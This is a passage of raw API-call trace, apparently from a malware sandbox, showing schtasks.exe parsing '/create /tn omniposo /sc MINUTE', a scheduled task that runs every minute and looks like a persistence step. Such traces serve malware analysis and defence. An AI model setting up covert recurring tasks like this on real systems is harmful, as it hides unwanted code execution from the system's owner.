returned 0x17 [0140.435] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0140.435] GetProcessHeap () returned 0x130000 [0140.435] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x30) returned 0x147ab0 [0140.435] _vsnwprintf (in: _Buffer=0x14c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c478 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0140.435] GetProcessHeap () returned 0x130000 [0140.435] GetProcessHeap () returned 0x130000 [0140.435] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddb0) returned 1 [0140.435] GetProcessHeap () returned 0x130000 [0140.435] RtlSizeHeap (HeapHandle=0x130000, Flags=0x0, MemoryPointer=0x14ddb0) returned 0x74e [0140.436] HeapFree (in: hHeap=0x130000, dwFlags=0x0, lpMem=0x14ddb0 | out: hHeap=0x130000) returned 1 [0140.436] SetLastError (dwErrCode=0x0) [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="create") returned 6 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="?") returned 1 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="s") returned 1 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="u") returned 1 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="p") returned 1 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="ru") returned 2 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="rp") returned 2 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="sc") returned 2 [0140.436] GetThreadLocale () returned 0x409 [0140.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.436] lstrlenW (lpString="mo") returned 2 [0140.436] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="d") returned 1 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="m") returned 1 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="i") returned 1 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="tn") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="tr") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="st") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="sd") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="ed") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="it") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.437] lstrlenW (lpString="et") returned 2 [0140.437] GetThreadLocale () returned 0x409 [0140.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="k") returned 1 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="du") returned 2 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="ri") returned 2 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="z") returned 1 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="f") returned 1 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="v1") returned 2 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="xml") returned 3 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="ec") returned 2 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="rl") returned 2 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="delay") returned 5 [0140.438] GetThreadLocale () returned 0x409 [0140.438] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0140.438] lstrlenW (lpString="np") returned 2 [0140.438] SetLastError (dwErrCode=0x0) [0140.439] SetLastError (dwErrCode=0x0) [0140.439] lstrlenW (lpString="/create") returned 7 [0140.439] lstrlenW (lpString="-/") returned 2 [0140.439] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.439] lstrlenW (lpString="create") returned 6 [0140.439] lstrlenW (lpString="create") returned 6 [0140.439] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.439] lstrlenW (lpString="create") returned 6 [0140.439] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.439] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.439] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.439] lstrlenW (lpString="|create|") returned 8 [0140.439] lstrlenW (lpString="|create|") returned 8 [0140.439] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0140.439] SetLastError (dwErrCode=0x0) [0140.439] SetLastError (dwErrCode=0x0) [0140.439] SetLastError (dwErrCode=0x0) [0140.439] lstrlenW (lpString="/tn") returned 3 [0140.439] lstrlenW (lpString="-/") returned 2 [0140.439] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.439] lstrlenW (lpString="create") returned 6 [0140.439] lstrlenW (lpString="create") returned 6 [0140.439] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.439] lstrlenW (lpString="tn") returned 2 [0140.439] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.439] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.440] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.440] lstrlenW (lpString="|create|") returned 8 [0140.440] lstrlenW (lpString="|tn|") returned 4 [0140.440] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0140.440] SetLastError (dwErrCode=0x490) [0140.440] lstrlenW (lpString="?") returned 1 [0140.440] lstrlenW (lpString="?") returned 1 [0140.440] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.440] lstrlenW (lpString="tn") returned 2 [0140.440] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.440] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|?|") returned 3 [0140.440] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.440] lstrlenW (lpString="|?|") returned 3 [0140.440] lstrlenW (lpString="|tn|") returned 4 [0140.440] SetLastError (dwErrCode=0x490) [0140.440] lstrlenW (lpString="s") returned 1 [0140.440] lstrlenW (lpString="s") returned 1 [0140.440] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.440] lstrlenW (lpString="tn") returned 2 [0140.440] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.440] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|s|") returned 3 [0140.440] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.440] lstrlenW (lpString="|s|") returned 3 [0140.440] lstrlenW (lpString="|tn|") returned 4 [0140.440] SetLastError (dwErrCode=0x490) [0140.440] lstrlenW (lpString="u") returned 1 [0140.440] lstrlenW (lpString="u") returned 1 [0140.440] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] lstrlenW (lpString="tn") returned 2 [0140.441] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|u|") returned 3 [0140.441] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.441] lstrlenW (lpString="|u|") returned 3 [0140.441] lstrlenW (lpString="|tn|") returned 4 [0140.441] SetLastError (dwErrCode=0x490) [0140.441] lstrlenW (lpString="p") returned 1 [0140.441] lstrlenW (lpString="p") returned 1 [0140.441] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] lstrlenW (lpString="tn") returned 2 [0140.441] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|p|") returned 3 [0140.441] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.441] lstrlenW (lpString="|p|") returned 3 [0140.441] lstrlenW (lpString="|tn|") returned 4 [0140.441] SetLastError (dwErrCode=0x490) [0140.441] lstrlenW (lpString="ru") returned 2 [0140.441] lstrlenW (lpString="ru") returned 2 [0140.441] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] lstrlenW (lpString="tn") returned 2 [0140.441] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.441] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ru|") returned 4 [0140.441] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.441] lstrlenW (lpString="|ru|") returned 4 [0140.441] lstrlenW (lpString="|tn|") returned 4 [0140.441] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0140.442] SetLastError (dwErrCode=0x490) [0140.442] lstrlenW (lpString="rp") returned 2 [0140.442] lstrlenW (lpString="rp") returned 2 [0140.442] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.442] lstrlenW (lpString="tn") returned 2 [0140.442] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.442] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|rp|") returned 4 [0140.442] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.442] lstrlenW (lpString="|rp|") returned 4 [0140.442] lstrlenW (lpString="|tn|") returned 4 [0140.442] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0140.442] SetLastError (dwErrCode=0x490) [0140.442] lstrlenW (lpString="sc") returned 2 [0140.442] lstrlenW (lpString="sc") returned 2 [0140.442] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.442] lstrlenW (lpString="tn") returned 2 [0140.442] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.442] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.442] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.442] lstrlenW (lpString="|sc|") returned 4 [0140.442] lstrlenW (lpString="|tn|") returned 4 [0140.442] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0140.442] SetLastError (dwErrCode=0x490) [0140.442] lstrlenW (lpString="mo") returned 2 [0140.442] lstrlenW (lpString="mo") returned 2 [0140.442] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.442] lstrlenW (lpString="tn") returned 2 [0140.442] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.443] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|mo|") returned 4 [0140.443] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.443] lstrlenW (lpString="|mo|") returned 4 [0140.443] lstrlenW (lpString="|tn|") returned 4 [0140.443] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0140.443] SetLastError (dwErrCode=0x490) [0140.443] lstrlenW (lpString="d") returned 1 [0140.443] lstrlenW (lpString="d") returned 1 [0140.443] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.443] lstrlenW (lpString="tn") returned 2 [0140.443] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.443] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|d|") returned 3 [0140.443] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.443] lstrlenW (lpString="|d|") returned 3 [0140.443] lstrlenW (lpString="|tn|") returned 4 [0140.443] SetLastError (dwErrCode=0x490) [0140.443] lstrlenW (lpString="m") returned 1 [0140.443] lstrlenW (lpString="m") returned 1 [0140.443] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.443] lstrlenW (lpString="tn") returned 2 [0140.443] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.443] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|m|") returned 3 [0140.443] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.443] lstrlenW (lpString="|m|") returned 3 [0140.443] lstrlenW (lpString="|tn|") returned 4 [0140.443] SetLastError (dwErrCode=0x490) [0140.443] lstrlenW (lpString="i") returned 1 [0140.444] lstrlenW (lpString="i") returned 1 [0140.444] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.444] lstrlenW (lpString="tn") returned 2 [0140.444] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.444] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|i|") returned 3 [0140.444] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.444] lstrlenW (lpString="|i|") returned 3 [0140.444] lstrlenW (lpString="|tn|") returned 4 [0140.444] SetLastError (dwErrCode=0x490) [0140.444] lstrlenW (lpString="tn") returned 2 [0140.444] lstrlenW (lpString="tn") returned 2 [0140.444] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.444] lstrlenW (lpString="tn") returned 2 [0140.444] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.444] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.444] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|tn|") returned 4 [0140.444] lstrlenW (lpString="|tn|") returned 4 [0140.444] lstrlenW (lpString="|tn|") returned 4 [0140.444] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0140.444] SetLastError (dwErrCode=0x0) [0140.444] SetLastError (dwErrCode=0x0) [0140.444] lstrlenW (lpString="omniposo") returned 8 [0140.444] lstrlenW (lpString="-/") returned 2 [0140.444] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0140.444] SetLastError (dwErrCode=0x490) [0140.444] SetLastError (dwErrCode=0x490) [0140.444] SetLastError (dwErrCode=0x0) [0140.444] lstrlenW (lpString="omniposo") returned 8 [0140.445] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0140.445] SetLastError (dwErrCode=0x490) [0140.445] SetLastError (dwErrCode=0x0) [0140.445] lstrlenW (lpString="omniposo") returned 8 [0140.445] SetLastError (dwErrCode=0x0) [0140.445] SetLastError (dwErrCode=0x0) [0140.445] lstrlenW (lpString="/sc") returned 3 [0140.445] lstrlenW (lpString="-/") returned 2 [0140.445] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.445] lstrlenW (lpString="create") returned 6 [0140.445] lstrlenW (lpString="create") returned 6 [0140.445] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.445] lstrlenW (lpString="sc") returned 2 [0140.445] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.445] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|create|") returned 8 [0140.445] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.445] lstrlenW (lpString="|create|") returned 8 [0140.445] lstrlenW (lpString="|sc|") returned 4 [0140.445] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0140.445] SetLastError (dwErrCode=0x490) [0140.445] lstrlenW (lpString="?") returned 1 [0140.445] lstrlenW (lpString="?") returned 1 [0140.445] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.445] lstrlenW (lpString="sc") returned 2 [0140.445] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.445] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|?|") returned 3 [0140.445] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.445] lstrlenW (lpString="|?|") returned 3 [0140.445] lstrlenW (lpString="|sc|") returned 4 [0140.446] SetLastError (dwErrCode=0x490) [0140.446] lstrlenW (lpString="s") returned 1 [0140.446] lstrlenW (lpString="s") returned 1 [0140.446] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] lstrlenW (lpString="sc") returned 2 [0140.446] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|s|") returned 3 [0140.446] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.446] lstrlenW (lpString="|s|") returned 3 [0140.446] lstrlenW (lpString="|sc|") returned 4 [0140.446] SetLastError (dwErrCode=0x490) [0140.446] lstrlenW (lpString="u") returned 1 [0140.446] lstrlenW (lpString="u") returned 1 [0140.446] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] lstrlenW (lpString="sc") returned 2 [0140.446] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|u|") returned 3 [0140.446] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.446] lstrlenW (lpString="|u|") returned 3 [0140.446] lstrlenW (lpString="|sc|") returned 4 [0140.446] SetLastError (dwErrCode=0x490) [0140.446] lstrlenW (lpString="p") returned 1 [0140.446] lstrlenW (lpString="p") returned 1 [0140.446] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] lstrlenW (lpString="sc") returned 2 [0140.446] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.446] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|p|") returned 3 [0140.446] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.447] lstrlenW (lpString="|p|") returned 3 [0140.447] lstrlenW (lpString="|sc|") returned 4 [0140.447] SetLastError (dwErrCode=0x490) [0140.447] lstrlenW (lpString="ru") returned 2 [0140.447] lstrlenW (lpString="ru") returned 2 [0140.447] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.447] lstrlenW (lpString="sc") returned 2 [0140.447] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.447] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|ru|") returned 4 [0140.447] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.447] lstrlenW (lpString="|ru|") returned 4 [0140.447] lstrlenW (lpString="|sc|") returned 4 [0140.447] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0140.447] SetLastError (dwErrCode=0x490) [0140.447] lstrlenW (lpString="rp") returned 2 [0140.447] lstrlenW (lpString="rp") returned 2 [0140.447] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.447] lstrlenW (lpString="sc") returned 2 [0140.447] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.447] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|rp|") returned 4 [0140.447] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.447] lstrlenW (lpString="|rp|") returned 4 [0140.447] lstrlenW (lpString="|sc|") returned 4 [0140.447] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0140.447] SetLastError (dwErrCode=0x490) [0140.447] lstrlenW (lpString="sc") returned 2 [0140.447] lstrlenW (lpString="sc") returned 2 [0140.447] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.448] lstrlenW (lpString="sc") returned 2 [0140.448] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.448] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.448] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c488 | out: _Buffer="|sc|") returned 4 [0140.448] lstrlenW (lpString="|sc|") returned 4 [0140.448] lstrlenW (lpString="|sc|") returned 4 [0140.448] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0140.448] SetLastError (dwErrCode=0x0) [0140.448] SetLastError (dwErrCode=0x0) [0140.448] lstrlenW (lpString="MINUTE") returned 6 [0140.448] lstrlenW (lpString="-/") returned 2 [0140.448] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0140.448] SetLastError (dwErrCode=0x490) [0140.448] SetLastError (dwErrCode=0x490) [0140.448] SetLastError (dwErrCode=0x0) [0140.448] lstrlenW (lpString="MINUTE") returned 6 [0140.448] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0140.448] SetLastError (dwErrCode=0x490) [0140.448] SetLastError (dwErrCode=0x0) [0140.448] GetProcessHeap () returned 0x130000 [0140.448] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x18) returned 0x14d580 [0140.448] _memicmp (_Buf1=0x14d580, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.448] lstrlenW (lpString="MINUTE") returned 6 [0140.448] 